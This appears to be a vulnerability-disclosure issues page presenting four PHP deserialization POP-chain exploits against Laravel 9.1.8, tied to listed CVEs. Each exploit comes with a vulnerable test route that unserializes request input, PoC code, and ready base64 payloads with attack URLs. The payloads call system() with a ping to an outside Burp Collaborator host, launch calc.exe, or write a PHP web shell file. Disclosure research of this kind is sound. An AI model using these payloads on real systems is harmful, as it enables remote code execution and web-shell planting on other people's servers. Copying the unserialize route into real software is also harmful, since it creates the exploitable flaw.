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vulns's Issues

Laravel 9.1.8 POP chain

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30778

Build a route to test:

routes/web.php

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (\Illuminate\Http\Request $request) {
//    return view('welcome');
    $ser = base64_decode($request->input("ser"));
    unserialize($ser);
    return "ok";
});

poc

<?php
namespace Illuminate\Contracts\Queue{
    interface ShouldQueue
    {
        //
    }
}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";

        }
    }
}

namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Queue\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function __construct()
        {

        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct()
        {
            $this->event = new BroadcastEvent();
            $this->event->connection = "ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}
namespace{
    $a = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($a));
}

result :

Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=

attack

http://127.0.0.1:1080/?ser=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=

image-20220513134853602

Laravel 9.1.8 POP chain2

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30779

build a route to test:

routes/web.php

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (\Illuminate\Http\Request $request) {
//    return view('welcome');
    $ser = base64_decode($request->input("ser"));
    unserialize($ser);
    return "ok";
});

poc

<?php

namespace GuzzleHttp\Cookie{
    class SetCookie
    {
        private static $defaults = [
            'Name'     => null,
            'Value'    => null,
            'Domain'   => null,
            'Path'     => '/',
            'Max-Age'  => null,
            'Expires'  => null,
            'Secure'   => false,
            'Discard'  => false,
            'HttpOnly' => false
        ];
        function __construct()
        {
            $this->data['Expires'] = '<?php phpinfo();?>';
            $this->data['Discard'] = 0;
        }
    }
    class CookieJar{
        private $cookies = [];
        private $strictMode;
        function __construct()
        {
            $this->cookies[] = new SetCookie();
        }
    }
    class FileCookieJar extends CookieJar{
        private $filename;
        private $storeSessionCookies;
        function __construct()
        {
            parent::__construct();
            $this->filename = "d:/var/www/untitled/public/shell.php";
            $this->storeSessionCookies = true;
        }
    }
}
namespace{
    $a = new \GuzzleHttp\Cookie\FileCookieJar();
    echo base64_encode(serialize($a));
}

result :

TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6MzY6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljL3NoZWxsLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO3M6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7TzoyNzoiR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llIjoxOntzOjQ6ImRhdGEiO2E6Mjp7czo3OiJFeHBpcmVzIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoiRGlzY2FyZCI7aTowO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7Tjt9

attack

http://127.0.0.1:1080/?ser=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6MzY6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljL3NoZWxsLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO3M6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7TzoyNzoiR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llIjoxOntzOjQ6ImRhdGEiO2E6Mjp7czo3OiJFeHBpcmVzIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoiRGlzY2FyZCI7aTowO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7Tjt9

image-20220513154945425

Laravel 9.1.8 POP chain3

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31279

Laravel 9.1.8 POP chain3

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in (1) __destruct in Illuminate\Broadcasting\PendingBroadcast.php .(2) __call in Faker\Generator.php . This poc bypasses __wakeup in Faker\Generator.php : https://inhann.top/2022/05/17/bypass_wakeup/

build a route to test:

routes/web.php

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (\Illuminate\Http\Request $request) {
//    return view('welcome');
    $ser = base64_decode($request->input("ser"));
    unserialize($ser);
    return "ok";
});

poc

<?php
namespace Faker{
    class Generator{
        protected $providers = [];
        protected $formatters = [];
        function __construct()
        {
            $this->formatter = "dispatch";
            $this->formatters = 9999;
        }

    }
}

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        public function __construct()
        {
            $this->event = "calc.exe";
            $this->events = new \Faker\Generator();
        }
    }
}

namespace Symfony\Component\Mime\Part{
    abstract class AbstractPart
    {
        private $headers = null;
    }
    class SMimePart extends AbstractPart{
        protected $_headers;
        public $inhann;
        function __construct(){
            $this->_headers = ["dispatch"=>"system"];
            $this->inhann = new \Illuminate\Broadcasting\PendingBroadcast();
        }
    }
}


namespace{
    $a = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
    echo base64_encode(str_replace("i:9999","R:2",$ser));
}

result :

TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19

attack

http://127.0.0.1/?ser=TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19

image-20220516231139106

Laravel 9.1.8 POP chain4

Laravel 9.1.8 POP chain4

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in (1) __destruct in Illuminate\Routing\PendingResourceRegistration.php .(2) register in Illuminate\Routing\PendingResourceRegistration.php.(3) __call in Faker\Generator.php . This poc bypasses __wakeup in Faker\Generator.php : https://inhann.top/2022/05/17/bypass_wakeup/

build a route to test:

routes/web.php

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (\Illuminate\Http\Request $request) {
//    return view('welcome');
    $ser = base64_decode($request->input("ser"));
    unserialize($ser);
    return "ok";
});

poc

<?php
namespace Faker{
    class Generator{
        protected $providers = [];
        protected $formatters = [];
        function __construct()
        {
            $this->formatter = "register";
            $this->formatters = 9999;
        }

    }
}
namespace Illuminate\Routing{
    class PendingResourceRegistration{
        protected $registrar;
        protected $name;
        protected $controller;
        protected $options = [];
        protected $registered = false;
        function __construct()
        {
            $this->registrar = new \Faker\Generator();
            $this->name = "d:/var/www/untitiled/public/1.php";
            $this->controller = '<?php phpinfo();?>';
            $this->options = 8;
        }

    }
}

namespace Symfony\Component\Mime\Part{
    abstract class AbstractPart
    {
        private $headers = null;
    }
    class SMimePart extends AbstractPart{
        protected $_headers;
        public $inhann;
        function __construct(){
            $this->_headers = ["register"=>"file_put_contents"];
            $this->inhann = new \Illuminate\Routing\PendingResourceRegistration();
        }
    }
}


namespace{
    $a = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
    echo base64_encode(str_replace("i:9999","R:2",$ser));
}

result :

TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6InJlZ2lzdGVyIjtzOjE3OiJmaWxlX3B1dF9jb250ZW50cyI7fXM6NjoiaW5oYW5uIjtPOjQ2OiJJbGx1bWluYXRlXFJvdXRpbmdcUGVuZGluZ1Jlc291cmNlUmVnaXN0cmF0aW9uIjo1OntzOjEyOiIAKgByZWdpc3RyYXIiO086MTU6IkZha2VyXEdlbmVyYXRvciI6Mzp7czoxMjoiACoAcHJvdmlkZXJzIjthOjA6e31zOjEzOiIAKgBmb3JtYXR0ZXJzIjtSOjI7czo5OiJmb3JtYXR0ZXIiO3M6ODoicmVnaXN0ZXIiO31zOjc6IgAqAG5hbWUiO3M6MzI6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljLzEucGhwIjtzOjEzOiIAKgBjb250cm9sbGVyIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6MTA6IgAqAG9wdGlvbnMiO2k6ODtzOjEzOiIAKgByZWdpc3RlcmVkIjtiOjA7fX0

attack

http://127.0.0.1/?ser=TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6InJlZ2lzdGVyIjtzOjE3OiJmaWxlX3B1dF9jb250ZW50cyI7fXM6NjoiaW5oYW5uIjtPOjQ2OiJJbGx1bWluYXRlXFJvdXRpbmdcUGVuZGluZ1Jlc291cmNlUmVnaXN0cmF0aW9uIjo1OntzOjEyOiIAKgByZWdpc3RyYXIiO086MTU6IkZha2VyXEdlbmVyYXRvciI6Mzp7czoxMjoiACoAcHJvdmlkZXJzIjthOjA6e31zOjEzOiIAKgBmb3JtYXR0ZXJzIjtSOjI7czo5OiJmb3JtYXR0ZXIiO3M6ODoicmVnaXN0ZXIiO31zOjc6IgAqAG5hbWUiO3M6MzI6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljLzEucGhwIjtzOjEzOiIAKgBjb250cm9sbGVyIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6MTA6IgAqAG9wdGlvbnMiO2k6ODtzOjEzOiIAKgByZWdpc3RlcmVkIjtiOjA7fX0

image-20220516233819280

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